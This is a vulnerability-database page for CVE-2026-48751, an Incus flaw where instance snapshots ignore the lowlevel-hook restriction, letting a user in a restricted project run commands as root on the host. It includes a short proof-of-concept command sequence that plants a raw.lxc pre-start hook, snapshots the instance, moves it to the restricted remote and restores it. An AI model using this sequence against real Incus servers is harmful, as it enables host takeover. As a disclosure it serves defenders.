CVE-2026-48751

CRITICALPre-NVD 9.99.9
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.9
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: —CVSS: 9.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Incus has a restricted project bypass leading to arbitrary command execution

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
locally, unrestricted project

incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
locally, transfer and trigger

incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

Impact

  • Bypass of project restrictions.
  • Arbitrary command execution on the Incus server.

CVSS v3
9.9
EG Score
9.9(low)
EPSS
—
KEV
Not listed

Published

June 26, 2026

Last Modified

June 26, 2026

Vendor Advisories for CVE-2026-48751(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 40× in last 7d / 60× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 05:17 UTCEG score recompute
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  3. 2026-07-06 20:47 UTCEG score recompute
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  1. 2026-07-02 18:40 UTCEG score recompute
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  5. 2026-07-02 01:45 UTCEG score recompute
  6. 2026-07-01 21:32 UTCEG score recompute
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  26. 2026-06-28 08:46 UTCEG score recompute
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  30. 2026-06-27 15:48 UTCEG score recompute
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  34. 2026-06-26 22:52 UTCEG score recompute
  35. 2026-06-26 18:39 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-48751?
CVE-2026-48751 is a critical vulnerability published on June 26, 2026. Incus has a restricted project bypass leading to arbitrary command execution Summary Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Details Instance…
When was CVE-2026-48751 disclosed?
CVE-2026-48751 was first published in the National Vulnerability Database on June 26, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-48751?
CVE-2026-48751 has a CVSS v4.0 base score of 9.9 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48751?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48751, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

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